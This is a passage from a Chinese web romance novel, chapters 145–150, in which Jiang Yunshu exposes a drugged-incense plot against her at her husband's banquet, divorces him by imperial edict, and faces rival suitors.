说话间,眼睛看向沈清安。 沈清安也没见过闵青鸢,只听说闵世子带了家眷,又看闵青鸢服饰穿戴的确是世子妃的装束,便下意识与高芝兰一样,将她认作恭王府的世子妃。 此时听得高芝兰挑起话头,他只能顺着开口,“我会与姜氏和离,届时世子妃如何发落,我沈家绝无二话!” 好一副大公无私的样子。 闵青鸢侧目瞥了沈清安一眼,勾起的唇角带着明显的嘲讽。 “你们说姜云舒想攀高枝,做我恭王府的世子妃?” 这语气听起来似有不善,高芝兰一时没反应过来,下意识点了头。 “姜氏向来心机深沉,世子妃可要小心提防。” “呵,真是可笑,现如今竟有人说姜云舒成了攀高枝的!” 闵青鸢冷厉的眼神盯着沈清安,“她姜云舒若是攀高枝之人,当初就不会选择你这个小小的探花郎!你以为你有什么能入她的眼?除了这副皮囊,你还有什么拿得出手?” 一句话,问得沈清安脸上一阵红一阵白。 高中探花,他在一众学子之中的确出类拔萃,可写于纸卷上的论述在实际运用起来,却不值一提,若非姜云舒父兄在背后协助,他对于岩城水患根本就束手无策。 就连如今锦州灾民,姜云舒的手段他更是始料不及,文韬武略,他竟处处比不上姜云舒。 他的确没什么拿得出手。 “废物!” 闵青鸢低低地骂一声,又转向众人,“姜云舒疼我儿子又如何,稚儿是她的血脉至亲,她疼爱自己的侄儿理所应当,倒是你沈家这孩子,当初入府便是打着养子的幌子进了沈家门,这种浑身欺瞒背叛的儿子,凭什么要求姜云舒对他疼爱?” 这话出口,所有议论声倏然静了音,众人瞪大眼睛难以置信的看向闵青鸢,又看看她手里拉着的孩子,震惊得下巴都快掉了。 她说,那孩子是姜云舒的侄儿? 这么看,那孩子和姜云舒五官的确有些相近之处。 “什,什么血脉至亲,什么侄儿,世子妃,你这是什么意思?”高芝兰感觉自己的舌头都在打结。 闵青鸢甩给她一个白眼,没回答,还是裴钰好心给她解了惑。 “这有什么不明白的,我闵姐姐是恭王府的小郡主,也是姜云舒的亲大嫂,稚儿自是姜云舒的亲侄子。” 一句话,又让众人的下巴往下掉了一截。 恭王府和定国将军府结为亲家?这事儿怎么从来没听说过? 所有人被震惊得大脑发懵,好半晌没缓过神来,倒是沈清安惨白着一张脸,转向姜云舒。 “怎,怎么会!皇上赦免的是姜家女子,所有男嗣都要流放崖州,为何这孩子会留下!这可是欺君之罪!” 他不是见不得姜家还剩下一个孩子留在京城,而是不愿相信此时闵青鸢所说的话。 “这有什么奇怪,当初定国将军府出事时,这孩子还在闵姐姐肚子里呢!” 裴钰挑着眉毛,一脸看热闹不嫌事儿大的表情,见沈清安那眼珠子都快瞪出来了,又给他补一句,“这孩子出生,恭王就给皇上递了书信,如今他们回京也是皇上授意,你刚才说欺君之罪?” 沈清安趔趄着往后退一步,张张嘴,却没说出一句话来。 正说着,外面小厮一声通报,陆太医来了。 姜云舒这时表情才有了变化,抬头,朝外面吩咐一声。 “请陆太医进来给闵世子瞧瞧。” 说话间,郭攀便领着陆太医进了屋。 房门关上,“砰”的一声,惊得高芝兰一哆嗦,差点没站稳摔在地上。 第145章 我还报了官 号过脉后,陆太医在里面写完方子出来,众人紧忙迎了过去。 “陆太医,闵世子如何?”沈老夫人一脸紧张问道。 人是在沈家出的事儿,不管是因为什么原因,沈家都得给恭王府一个交代。 此时,沈老夫人真真后悔没听姜云舒所说,若是关起门来自家庆祝,也不会出这种事,如今被人看了笑话事小,得罪了恭王府那可是要引来大麻烦的。 陆太医沉默了片刻,看向闵青鸢。 “依闵世子此时症状来看,是服用或者吸入了致人精神不济筋骨松软的药剂,所幸量不大,待服用两剂药便可恢复。” 说着,将将药方递给闵青鸢。 听得陆太医的话,沈家众人下意识松一口气,可这口气还没出来,就听人群中一声冷嘲传来。 “呵,谁能想到,沈大人这擢升宴竟是鸿门宴呢。” 众人闻言扭头,就见谢无烬晃着手里的折扇,似笑非笑的看向沈家众人。 沈清安只觉后背一阵寒凉,张张嘴还没想好说什么,却见高芝兰接了话。 “我沈家可不敢当‘鸿门宴’三个字,之前闵世子来后院休息,原也是姜夫人差人来侍奉的,而近日这擢升宴又是姜夫人一手操办,其中缘由还不清楚吗?” 说着,她又转向姜云舒,“听说恭王府进京那日,你还特意出城们迎接,之后你又时常出入恭王府,甚至还多次随闵世子带那孩子出门游玩,就算那是你侄子,这男女独处总也说不清楚……相公与你和离,也是给你体面。” 高芝兰也顾不上那么多了,左右沈清安已经将和离书拿出来了,过了今日便再没有这个机会。 然而,她刚说完,就听谢无烬又是一声冷笑。 “体面?你们沈家的体面便是当着这么多人,说些脏心烂肺的理由,这就叫体面?” 一句话,又将众人的视线转到了沈清安这边。 刚才还有不少人替沈清安这个“老实人”抱不平,如今再看眼前形式,倒是有些经不住人细想了。 姜云舒眯着眼睛在众人脸上扫过一圈,转向一旁的沈管家。 “沈管家,今日各处休息室所用安神香,可是你亲自从库房里精选的?” 一句莫名奇妙的话,打断了众人的议论。 沈管家紧忙上前,应声回答,“是,昨日小人特意去了库房,和吉祥姑娘一起选的,都记在账上。” 正因为有高芝兰在,姜云舒为了避免其中有什么差错,同时也是抬举老夫人,筹备之时,特意让吉祥跟着。 听得沈管家回答,吉祥也紧忙上前回话,“选用的是青蕊安息香,有解酒的功效,休息室中每个房间都有放置。” “可是刚才我在闵世子的房间闻到一股与青蕊安息香不同的味道。” 说着,又看向后面跟过来的杨大夫,“劳烦杨大夫进去帮我确认一下,那屋子里的香究竟是什么。” 让大夫重新验香,听起来是在问责沈管家和吉祥,可杨大夫是沈清安回京之后重新找的府医,这验证的事儿让杨大夫来,其中意味不言而喻。 被这么多人盯着,杨大夫顿觉肩上责任重大,紧忙进屋。 刚才还一副握着证据得理不饶人的高芝兰,在看到杨大夫进屋时,脸上的气势瞬间就散了,甚至还多了几分紧张。 沈清安见她这般反应,也下意识绷紧了神经,眼神时不时朝姜云舒这边瞟。 姜云舒自动忽略两人,片刻之后,杨大夫端着香灰出来。 香已经燃尽,所以姜云舒进去时影响不大,如今只剩下香灰了。 “这味道闻起来,不只是青蕊安息香的配方,似乎还加了……” 说着,他伸手捻了点香灰,凑近鼻下细细的闻了闻,却没分辨出究竟是什么。 陆太医看不过去,伸手拿过来,仔细看过香灰之后,伸手捻了一些在指腹上搓了搓,这才抬头。 “依本官判断,这青蕊安息香中,似是掺加了七星草籽。” “对,就是七星草籽!” 经陆太医一提醒,杨大夫终于想到了。 七星草籽? 众人面面相觑,不明所以,一时间视线又回到姜云舒这边。 姜云舒也不绕弯子。 “开医馆药铺的都知道,七星草籽油用于散神麻醉,浓度过高,会致人昏睡,这种药的副作用大,仁春堂从不用,倒是前几日,听闻尚品堂入了七星草,京兆府一查便知。” 说着,转向沈清安,“沈大人,你觉着呢?” 沈清安眉头死死拧着,眼中似有怒意,却又极力压制。 “姜云舒,枉我对你信任,将沈家中馈交给你,还让你全权筹备今日擢升宴,你便是这般回馈我,要将事情闹大才甘心?” 这话入耳,姜云舒忍不住笑出声了。 “沈大人是在用‘重情重义’四个字感动自己吗?刚才拿出和离书的可是沈大人,更何况,府上出事,本就应该给闵世子一个交代,而我,也要证明自己的清白,如此,我又有哪样做得不对?” “你!” 沈清安一下子噎了个脸红脖子粗。 “哎呀,大喜的日子,快别吵了!” 这时,裴钰冲人群中出来,拦在姜云舒和沈清安中间一站,宽慰道:“沈大人不必着急上火,方才我已经让人去了就京兆府报案,沈家可是清流,断然不能让门楣染上污点,你说是吧?” 裴钰笑容坦荡明亮,与他对面的沈清安却是满脸阴翳,眼珠子瞪着,都快滴出血来了。 而高芝兰听到裴钰说去京兆府报了案,只觉双腿软,大腿上还没好利索的伤又开始隐隐作痛。 老夫人也是吓住了,一时没想明白,就听外面有人通报。 “京兆府尹邢大人到!” 众人转身,就见邢恪带着几个衙役已经进了月亮门。 “沈大人,恭喜升迁。” 邢恪进门先道喜,沈清安本想给个笑脸回应,然而,嘴角是扯开了,那笑却比哭还难看。 不管什么表情,邢恪照单全收,紧接着又将手里的册子展开。 “根据京兆府本月往来商货记录,尚品堂的确有春日早批的七星草籽入京。” 说完,转向谢无烬,“谢世子要本官查阅的可是这批?” 就在一炷香之前,裴钰的人去京兆府报案,谢无烬的人来找他查账,能让两家世子都这么上心的事儿,京兆府一刻都不敢耽误。 第146章 就凭我有休夫圣旨 邢恪的话听得高芝兰眼前一黑,来不及多想,紧忙开口。 “就算我尚品堂入了七星草籽,你如何能断定这香是我放在这休息室的?今日宴会我可从未插手过!” 正是因为要搞事情,所以她才连争都不争,即便老夫人有心让她跟着姜云舒做事,她也推诿在庄子上太累,没有心力。 然而,姜云舒早就看透了她的小动作。 “呵,你做事,何须亲自插手?” 姜云舒摆摆手,就见白芷急匆匆回来,手边还拽着高芝兰院子里的红杏。 “红,红杏,你不是出城省亲了?”高芝兰眼神一晃,说话间,额间冒出细密的汗珠。 昨夜她明明趁着天黑将红杏送出了城,人为什么会出现在这里? 红杏是被白芷拽过来的,踉跄两步,直接摔在地上。 “高夫人,大人,你们要为奴婢做主啊!”红杏哭得满脸眼泪,“我刚出城门,就被人截在了半路,姜夫人是要杀我灭口啊!” 红杏张口,直接给姜云舒扣了一顶杀人的帽子,一时间,众人的视线落在姜云舒脸上。 “灭口?我为什么要灭你的口?是因为我让你做了什么不能为人知的事情,所以要灭你的口?” 姜云舒缓步朝着红杏走过去,低头,居高临下看着她,“红杏,我前几日接手沈家中馈时,对下人全部做了调整,怎么不知道你在京城还有亲戚?便是省亲,为何不在白天去看望,反而要趁着夜黑出门?” 几句话,根本没给红杏开口的余地,她的回答也并不重要,下一瞬,姜云舒忽然抓住她的手面向众人。 “啊!” 红杏惊叫一声,想抽回手,却根本抽不动,被强制着手心面向众人。 原本白皙的手掌,竟是一片诡异的紫色。 “哎呀,这手掌怎么是紫色的?” “这莫不是中毒了?” 众人小声议论起来。 见得红杏那紫色的手掌,陆太医紧走两步,上前细细查看一翻,蹙眉。 “若没看错,这便是肌肤磋磨七星草种子之后留下的症状,这不是中毒,而是染色,但凡被这种紫色侵染,是洗不掉的,只能日积月累自动清除。”陆太医道。 所以,才要将红杏送出城。 “这,不是,不是的!” 此时,高芝兰彻底慌了,她没有依靠,只能拽住沈清安,“相公,你相信我,我真的不知道这件事,一定是姜氏买通红杏联合起来污蔑我啊!” 虽说高芝兰有些事情做得漏洞百出,可在狡辩这一块,她的脑子却转得尤其快,两句话的功夫,便要将那屎盆子往姜云舒脑袋上扣。 然而,京兆府尹邢恪又不是傻的,当即一声令下就要拿了高芝兰。 “邢大人!” 沈清安黑着脸开口,“红杏的确是高氏身边之人,但也不能说明,她做的事便是高氏授意,去年,这奴才曾偷拿过银两,高氏念在她侍奉多年原谅她,如今也不排除她为了银钱污蔑主人,这件事,还是查清楚才好办案,毕竟,高氏也是官员家眷。” 三言两语,将罪责都转到了红杏身上。 要不说人家是两口子呢,歪曲事实的本事如出一辙。 红杏一张脸都白了,她挣扎一下想说话,却见高芝兰警告的目光,当即浑身一僵,张开的嘴巴又闭上。 “呵,沈大人这意思,是姜云舒买通了这奴才给自己泼脏水,然后又污蔑高氏?她难不成是看上你了,想做你沈府的女主人?” 裴钰挑着高音,笑得飞扬跋扈。 沈清安当即脸色一僵,拧着眉头,抬脚踹在红杏身上。 “说,到底是谁指使你做的!” 红杏被踹了心口,直接一口血吐在地上。 “是……是奴婢自己做的,奴婢想给大人做妾,可是高夫人骂我异想天开,要将我赶走,我才,我才……我一死了之算了……” 话音落,红杏手里不知什么时候多了一把匕首,抬起来就往自己脖子上抹。 众人吓坏了,下意识往后退,京兆府衙役正要往上冲,就听“当”一声,那匕首从她手上飞出去,在她脖颈处留下一道血印子。 众人扭头,这才后知后觉,是谢无烬手里捏着的一个铜板打飞了那匕首。 “就算奴才认了罪,如七星草种子这等阴邪之药也属于管控药材,她若拿药一定会留下痕迹,邢大人只需查一查尚品堂的药材流水便能水落石出,何必在此浪费时间听一堆废话。” 邢恪蹙眉思量片刻,朝谢无烬行一礼,“多谢世子提点,如此,就请高夫人与本官京兆衙门走一趟吧!” 说着,一抬手,衙役上前来朝高芝兰做了个“请”的手势。 要说这娘们怎么就不长记性呢?上次的二十板子还没好呢吧! 这次倒是没戴枷锁,不过应该也是跑不了的。 高芝兰身上的嫌疑是洗不清的,京兆府办案,沈清安也无权阻拦。 高芝兰是被强拽出去的,一路被拽着,口中还不停地哭喊,最后,被衙役直接塞了一嘴的破布条,这才没了声音。 原本一场喜事,如今竟成了众人眼前的一场笑话,沈清安和老夫人的脸色难看到了极点。 沈清安憋气,可是一抬头瞧见裴钰手里还拿着那张和离书,当即面色一凛。 “云舒,今日之事是我误会了你,你放心,我一定会给你一个交代。” 他强压着满腔怒火,努力对姜云舒做出温和的表情,“方才我也是被蒙蔽才……我这就收回和离书,你就当我之前的话没有说过,行不行?” 说着,抬手去抢裴钰手里的和离书。 裴钰也没拦着,顺势让他拿了回去。 姜云舒垂眸瞧着那和离书上皇上的印章,微微勾起唇角。 “沈大人反悔了?不想与我和离了?”她问。 “是,不是,我原本也不想与你和离,只是诸多误会……” “可是,我却要休夫呢。”姜云舒打断他。 沈清安一句话没说完,当即愣在原地,他眼睛瞪大,表情几乎要裂开。 “你要休夫?姜云舒,你凭什么休夫?” 一句话,几乎是咬牙切齿说出来。 姜云舒迎着他狂怒的视线,眉梢轻挑,“就凭,我有休夫的圣旨。” 第147章 当场下聘 说着,姜云舒一抬手,白芷紧忙上前,双手将早已准备好的圣旨托送于姜云舒手上。 姜云舒接过来,向着沈清安展开,休夫的旨意,皇上的名章都在上面,清清楚楚,明晃晃地刺着沈清安的眼睛。 边上众人也跟着伸脖子往前看,待看清楚,随即忍不住小声议论。 “这,真有圣旨啊!” “不是和离,是休夫啊,我大瑞朝还是头一回有休夫!” “啧,也难怪,自沈大人将原配带回,让姜家丫头如何自处?更何况,这丫头是将军府出身向来性子烈,休夫也并不奇怪!” 众人议论的声音逐渐增大,一边说着,还朝沈清安的方向看去。 之前不知道,只看着姜云舒筹备这次擢升宴,还以为沈清安带回高芝兰,对姜云舒并无太大影响。 而如今看来,他沈家这是想着算计姜云舒不贞,然后找个由头和离,这样一来,既能拿走姜云舒一半的嫁妆,还能给沈家留下个好名声。 啧啧啧,这算盘打得哟,算盘珠子噼里啪啦往脸上嘣。 得亏姜家这丫头是个不吃亏的,跟皇上要了休夫圣旨,这才保全自身。 耳听得众人议论声音逐渐增大,姜云舒举着圣旨转向一旁的京兆府尹邢恪。 “既然邢大人在此,那便劳烦大人确认,以便后续去京兆府办理章程。” 邢恪抬手,将圣旨接过来,点头,“姜夫……姜姑娘既有圣旨在手,本官自是会依照章程办事,届时还请沈大人来京兆府一趟。” 京兆府尹这话,算是在这件事上盖了章,一时间,在场众人面上形色各异,其中最明显的便是沈家老夫人和沈清安了。 “云舒,你这是做什么?你怎么能休夫呢?你让大郎以后如何在朝中立足?” 老夫人脸上肌肉扯着颤了颤,见姜云舒不为所动,紧忙拽了拽沈清安。 “大郎,你快好好跟姜氏说说啊,这怎么能休夫呢?” 沈清安脸色阴沉,额间青筋绷着,几乎要拧起来。 “姜云舒,我再给你一次机会,你将圣旨收回,这件事我可以当做什么都没发生。”他咬着牙。 姜云舒瞧着他,勾起的唇角不由得浮现出明显的嘲讽。 都这个时候了,他这副高高在上的威胁神情是给谁看? “不必了,我既将圣旨交给邢大人,这件事便再没有转圜的余地,从这一刻起,我姜云舒与你沈清安恩断义绝,自此老死不相往来。” 说着,姜云舒抬手,从腕间摘下一只翠玉的镯子,放在旁边的桌子上。 那是成婚那日,给沈老夫人敬茶时,沈老夫人送给她的镯子,说是沈家的传家宝。 “哎哟,这可怎么是好……” 沈老夫人仰着脖子一声哀嚎,大概是刺激大了,这一声刚嚎完,眼珠子一翻,嘎巴一下,晕了过去。 “老夫人!” 吉祥惊呼一声,紧忙过去扶。 好在此时陆太医和杨大夫都在,紧忙给老夫人搭上了脉。 如今这境况,好好的擢升宴变成了散伙饭,沈清安忙着老夫人这边,姜云舒站在旁边冷眼旁观,高芝兰又不是个主事的,一时间,沈家竟无人做主。 原本来吃席的宾客变成了看戏,谁也不走,左右宴席上准备了瓜果,一边吃瓜一边看戏。 闵青鸢安置好了闵司捷,也从里屋出来,此时正倚在门口,挑眉看着沈家一片混乱,面上带着嘲讽和幸灾乐祸。 真真是乱成了一锅粥。 偏偏,有人还想趁乱直接喝。 “宁国公府,聘礼到!” 就在这时,听得院外一声喊,众人猛然转身,就见裴钰大摇大摆的带着一队人进了院子,他身后那些人抬着的大木箱,便是上次同样抬到沈家的聘礼。 姜云舒嘴角的肌肉不受控制的抽了抽。 不是,他怎么就喜好把聘礼往人前夫家送呢? 再说,他这速度也太快了吧!刚刚人还在这里,他什么时候回去抬的聘礼? 这边姜云舒正凌乱,就见裴钰昂着头,一脸得意地走了过来。 “怎么样,这回是来真的了,你踹了那绣花枕头,也该轮到我了吧?” 说着,一摆手,后面那一队红木箱子齐刷刷落在地上,动静震得众人一颤。 姜云舒无语,正要说话,就听前院又是一声喊。 “渊政王府,聘礼到!” 姜云舒脸上的肌肉又是一颤,僵硬着扭头,就见谢无烬也带着一队人进了院,后面跟着的队伍比裴钰的还要长。 这回,别说姜云舒凌乱,就连现场看戏吃瓜的众人都惊得半晌没合上嘴。 好家伙,这动作够快的啊! 姜云舒只觉眼前无数黑线落下,突然想跑。 不是,他什么时候准备的? 裴钰有也就算了,毕竟他常年备着,可谢无烬这又是怎么回事? “谢世子,你这是什么意思?”裴钰不服,上前一步。 谢无烬压根没理他,径自从他身边过去,直接到姜云舒跟前。 “回京时,我便备下了聘礼,如今你是不是该履行婚约了?” 哈? 姜云舒嘴角抖了抖,提醒他,“我们已经退婚了。” “我怎么不知道?” 谢无烬眉梢一挑,“当初两家定亲可是交换了信物的,你瞧,我有你的定情玉簪,你还留着我母妃给你的令牌,这就算齐了。” 说着,抬手自发间拔下那只玉簪,连同之前从姜云舒手里换来的平安玉牌放在一起。 别说,两件都是油润的白玉,看起来真像是一块料子出的雕刻件儿。 姜云舒楞了一下,猛地从谢无烬手里拿过那平安玉牌,低头细查,这才发现,那玉牌上的徽章是渊政王府,而非南疆王府! 她娘给准备嫁妆的时候,竟然拿错了! 难怪当初退婚时,爹爹还纳闷,怎么找不到信物了! 眼瞧着姜云舒这表情不对,裴钰不干了,紧忙上前一步,拦在姜云舒和谢无烬中间。 “谢世子,你这就不讲理了啊,万事有个先来后到!” “呵,本世子和她的婚约早在她八岁的时候就定下了,那时你连战马都上不去呢!”谢无烬迎着裴钰又往前一步。 两人互不相让,越走越近,眼瞧着胸膛都要顶住,姜云舒突然手痒,有种控制不住的想一手按着一个脑袋往中间撞的冲动。 在场众人也是下意识屏住呼吸,眼看着两人就要打起来,此时,门口再次传来通传的喊声。 “皇上口谕,宣乐安县主进宫觐见!” 第148章 你选一个吧 内侍官的一声唱喊,惊得众人一怔,随即哗啦啦跪了一片。 姜云舒下意识看向谢无烬和裴钰,却见两人也是一脸不解。 “乐安县主,随咱家走一趟吧!”内侍官挑着声音朝姜云舒道。 姜云舒来不及多想,紧忙起身,随着往外走,谢无烬和裴钰也快步跟了过来。 “两位世子,皇上召见的是乐安县主,您二位不必跟过来。”内侍官朝谢无烬扯了扯嘴角。 到底也是听过有关谢无烬嗜血的传言,离得太近还是难免感觉肉皮子发紧。 谢无烬没说话,却听裴钰往跟前凑了凑,“没事,皇上没召见我们,我们可以主动求见,左右你的马车大,能容得下我们。” 一路跟着内侍官往外走,谢无烬和裴钰也不说带来的聘礼怎么处置,就放在沈家。 此时沈家众人的脸上又添了一层紧张。 虽说沈清安升官已经是板上钉钉的事实,可正在沈家擢升宴这个节骨眼上,皇上叫姜云舒进宫觐见,难免不让人多想。 此时老夫人刚被陆太医施针救醒,一睁眼就听姜云舒要进宫觐见,当即眼皮一翻,又要晕过去,幸亏陆太医那针下得及时,好歹给人撑住了。 “造孽啊!我沈家这是造的什么孽啊!好好的,这是让谁给方的呀!”老夫人扯着嗓子哭嚎起来。 不得不说,老夫人还真是对神佛之说深信不疑,总觉着沈家不顺是因为被人挡了福。 在场众人瞧着沈老夫人拍着大腿哭得前仰后合,忍不住扯嘴角。 谁知道你沈家这是造的什么孽呢,人好好的将军府,自从姜云舒入了你沈家门,不到一年就流放了,也不知道谁方了谁。 此时沈清安脸上的慌乱就更明显了,姜云舒有皇上亲赐的休夫圣旨,如今这个节骨眼上进宫,莫不是趁机再捅沈家一刀? 众人心思各异,而此时,姜云舒一众人已经上了马车。 宫里的马车宽敞,原本内侍官和姜云舒一同乘坐还算舒畅,如今硬挤进来谢无烬和裴钰,瞬间空间就显得过于挤压了。 尤其上马车时,这两人都要抢姜云舒身边的位置,最后裴钰落了下风,气呼呼地坐在内侍官旁边,生气之下,顾不得形象,愣是将内侍官挤得紧挨着马车框。 偏偏这两位他一个都不敢得罪,内侍官只能缩在角落里委屈巴巴。 姜云舒朝两人翻了个白眼,也没办法,一路上就盘算着皇上找她的目的。 虽说清风村收留了大部分灾民,但锦州最根本的问题没有解决,越来越多的灾民朝京城涌来。 早知皇上老谋深算,难不成让她进宫又想将他们明面上解决不了的烂摊子教给她? 君心难揣测,姜云舒想了一路还没想明白,皇宫已经到了。 姜云舒随着内侍官往里走,谢无烬和裴钰也有腰牌可出入宫门,四个人自下了马车便朝皇上的明正殿走去。 到了明正殿得小太监通传,几个人进去,就见三皇子和六皇子同时跪在殿前。 听得脚步声,三皇子和六皇子一同扭过头来,看向姜云舒。 “姜云舒,你倒是自己说说,你选谁?” 哈? 冷不丁的一句话,听得姜云舒一头雾水,一脸茫然的抬头看向皇上。 “这,什么意思?”她扯了扯嘴角。 皇上“哼”了一声,尚未回答,就听六皇子先开口。 “听说,你休了那探花,如今你恢复未婚之身,本殿便来向父皇请圣旨赐婚,谁知三哥竟然过来与我抢,姜云舒,你自己说,你选谁?” 自己说……呵,这怎么能自己说呢…… 姜云舒嘴角颤了颤,不敢回答,只能又看向皇上求助。 “皇上……” “呵,你这丫头,可真是好本事,朕的两个皇子第一次为了同一件事跪在这里,就是为了你。” 这话刚说完,就见眼前一晃,谢无烬和裴钰也跟着跪了下来。 “皇上,我国公府的聘礼可是第一时间送到姜云舒面前了,要说先来后到,我可是第一个到的。”裴钰扯着嗓子。 谢无烬也不甘示弱。 “皇上明鉴,臣与姜云舒早在多年前已经定下婚约,即便当初取消婚约,信物已然在彼此手中,如今姜云舒休夫,那我渊政王府和姜家的婚事理应依旧作数。” 说着,他一抬手,将玉簪和平安牌奉上。 明德公公顿了一下,上前将东西拿过来,送到皇上面前。 皇上拿过来细看,那玉簪倒是没什么特别,但瞧见那平安牌时,眸光一闪。 的确是渊政王妃的信物。 可,原本三皇子和六皇子争抢,他就已经够头疼的了,如今又加了两个,啧…… “舒丫头,你说,怎么办?”皇上最后将这烫手的问题踢给了姜云舒。 姜云舒就觉着眼前一黑又一黑,扯了扯嘴角也没扯出个笑容,看着殿内齐刷刷跪着的四个人,她想死…… “臣,暂时没有成婚的想法,更何况,如今臣的父母兄长都在崖州,难不成,皇上要将他们召回吗?” 且不说谢无烬和裴钰,若姜云舒选了三皇子和六皇子其中一个,这便属于皇家婚事,是必定要将父母召回的,此时敏感阶段,皇上若将姜兆霖夫妇召回,势必会遭朝臣反对,从而引起朝局动荡。 皇上蹙眉衡量片刻,叹一口气,“罢了,你自己的婚事,你自己做主吧!” 姜云舒眼皮动了动,心中忍不住哼笑一声。 明面上,皇上是给了她自主决定的权利,可实际却是将矛盾送到她手上。 不管选择谁,其中利害关系纠缠,都是要衡量一翻的,而姜云舒的决定,也必将成为皇上对她的审视。 一众人被皇上赶出了明正殿。 殿外,几个人将姜云舒围在中间,叽叽喳喳似是一定要姜云舒从中选出一个。 姜云舒吵得脑袋瓜子嗡嗡的,忍住开口打断。 “方才在殿内我已经说得很清楚了,我现在没有成婚的打算!” 一句话拒绝所有人。 尤其三皇子和六皇子,更是不可能。 这红墙青瓦之地,本就是姜云舒避之不及的地方,否则,当年她的出身,想嫁入皇家还不是她自己挑? 至于谢无烬和裴钰…… 姜云舒蹙眉,她目前的确没有成婚的打算。 一群人吵吵嚷嚷往外走,刚出宫门口,姜云舒的马车已经等在外面。 姜云舒懒得再理会他们之间的争抢,抬脚上马车,谁知车帘掀开,却见冥风正坐在里面。 “怎么是你来接我?”姜云舒眸光一沉。 今日趁着沈家擢升宴,姜云舒让月禾带黑鹰又去了密室,这个时间,他们应该已经结束,而来接的应该是月禾。 “小姐,出事了。”冥风蹙眉,“黑鹰被困在密室里了。” 第149章 三巴掌打掉他的牙 “你说什么?” 姜云舒眸光一凛,“你们被发现了?” “不知道,此时月禾还等在书房不远处,一直没回来。”冥风如实回答。 姜云舒眉心蹙起,暗自思量此时境况。 原本,她是趁着这次沈府的擢升宴,安排月禾带黑鹰再进密室探查,依照约定的时间,她们应该早就回来了。 难不成,密室里还有机关,黑鹰被困在了里面? 想不通,她沉沉朝冥风一摆手。 “走,先回沈家再说!” 话音落,就听车夫鞭子一甩,马车便迫不及待跑了起来。 谢无烬和裴钰原本还想一同上马车,结果这两人在外面吵嘴时,就见姜云舒的马车已经跑了,两人相互交换一个眼神。 “不对劲,我得过去看看。”裴钰大喝一声,转身上了马。 谁知刚拽住缰绳,忽然身后一沉,扭头,谢无烬已经坐在了他身后。 “嘿,我说,这可是我的马,你……哎哟!” 裴钰的话还没说完,谢无烬猛地一拽缰绳,那枣红色的大马直接扬起前蹄,朝着姜云舒离开的方向狂奔而去。 一炷香的功夫后,沈府便到了。 此时沈家宾客已经散尽,只剩下稀稀落落的下人在收拾东西,因着今日发生的事,众人都小心翼翼,甚至大气都不敢喘。 正收拾着,姜云舒的马车在门口停下,郭攀迎出来时,角落里一个丫鬟急匆匆进了内院。 姜云舒没注意,径自往府里走,谁知刚过了前厅屏风,就见吉祥扶着老夫人踉踉跄跄的冲了出来,后面还跟着一脸惊慌的沈长元。 “云舒,你总算回来了!” 老夫人直往姜云舒身上扑。 姜云舒下意识后退了一步,吉祥紧忙伸手扶住,这才没让老夫人摔在地上。 “老夫人,您这是做什么?”姜云舒退后一步,视线落在老夫人身上。 “今日之事,高氏是猪油蒙了心才会这般,你能不能看在我的面子上,就饶了她这一回?”一边说着,老夫人摆摆手。 吉祥紧忙端过来一个红木托盘,掀开上面盖着的红布,竟是一沓银票,还有房契地契。 老夫人这是拿自己体己的钱,给高芝兰赔罪? 正想着,又听老夫人道:“你知道的,我一直对你都很满意,即便高氏回来,我依旧将中馈交给你管理,有我在,你终究是沈家的当家主母,之前一切都是误会,待高氏回来,便让大郎将她送去庄子上,咱们一家好好过日子,行不行?” 老夫人说得情真意切,可这话听进姜云舒耳朵里,却处处透着一股子酸腻的滑稽。 当初沈清安和高芝兰回来,她可不是这样说的。 而如今这些东西,不光是让她出面接回高芝兰,还要她不计前嫌地留在沈家,只当今日一切都没有发生? 若是沈清安和高芝兰回来的那日,沈清安与老夫人做如此安排,姜云舒或许还能不计较,可到了如今境地,沈家人的嘴脸都展现在面前,他们的恶毒也都暴露无遗,还想着让她留下? 圣旨已经拿出来,事情便已经没了转圜的余地。 姜云舒的视线甚至都没有在那些银票房契地契上停留,抬手,从腰间拿出库房钥匙。 “若非老夫人提醒,我倒是忘了,这沈家库房的钥匙,的确应该还了。” 说着,她将库房钥匙塞进老夫人手里,“京兆府已经做了文备,明日晌午我签字按了手印,便与沈家再无瓜葛。” 一句话,堵住了老夫人后面要说的话。 老夫人怔愣在原地,嘴角颤抖着,半晌没说出话来,倒是月亮门后站着的沈清安终于忍不住,径自走了过来。 “好,姜云舒,你真是好样的!” 沈清安瞪着眼睛,额间青筋暴起,就连太阳穴也鼓着,那模样,仿佛要吃人。 “我早知道,你原与我就不是一条心,却不想,你竟求了圣旨,你是看谢无烬回京,为了与他再续前缘,所以才去求……” “啪!” 清脆响亮的耳光抽在沈清安脸上,下一瞬,那张英俊的脸上便多了一个五指红印。 这一巴掌,打得沈清安嘴角渗血,也将他后面的话打断。 “姜云舒,你竟敢打我!”沈清安难以置信地瞪大眼睛。 “方才那一巴掌,是打你背信弃义,忘了对我的承诺。” 姜云舒冷厉的视线凝在沈清安脸上,一步步朝他走近。 沈清安眼看着姜云舒的手再次抬起,下意识往后退,然而躲避不及,另一侧脸又结结实实挨了一巴掌。 “这一巴掌,是打你愧对我父兄的栽培,将满腔心思都用在邪路!” 沈清安被抽懵了,顶着脸上两个清晰的巴掌印,一双眼睛里的怒意全都化作了惊恐。 “啪!” 又是一巴掌,五指印字与之前的重叠,生生将脸上打得渗出了血。 “这一巴掌,是打你行正人君子之风,却做衣冠禽兽之事,今日若没有你的应允,高芝兰不敢动手!” 因为陷害主母之罪,高芝兰已经被带去京兆府打了两次板子,上一次的伤甚至都没有好利索,她必然不敢再动手。 可如今她做得比之前更绝,必然是得了沈清安这个一家之主的默认。 沈清安脑袋被抽得侧偏,紧接着“噗”的吐出一口血水,里面还带了一颗牙。 他完全没有反驳的余地,只觉两耳“嗡嗡”做响,脑子似乎是被抽散黄了。 老夫人也被姜云舒这三巴掌吓住,脸哭都不敢了,只拽着吉祥的胳膊,浑身颤抖。 就连旁边的沈长元,此时脸色比之前更惨白,姜云舒抽第二巴掌时,他已经坐在了地上,灰色的裤子上一片明显的湿渍。 往常姜云舒虽然也严厉,却从未见过她动手,早知她这样厉害,当初定然不会跟着亲娘与她作对啊! 就在姜家众人傻眼的功夫,就见内院一人影快步过来,是月禾。 “小姐……”月禾拧着眉头,到跟前朝姜云舒摇了摇头。 姜云舒瞬间意会,明白黑鹰还没有回来。 “月禾,去庄子上叫几个人过来,将我的东西搬去县主府!”姜云舒道。 “还去什么庄子上叫啊,我这不是给你带了现成的嘛!” 裴钰的声音从外面传来,姜云舒扭头,就见谢无烬和裴钰并肩走了进来。 第150章 都是我的 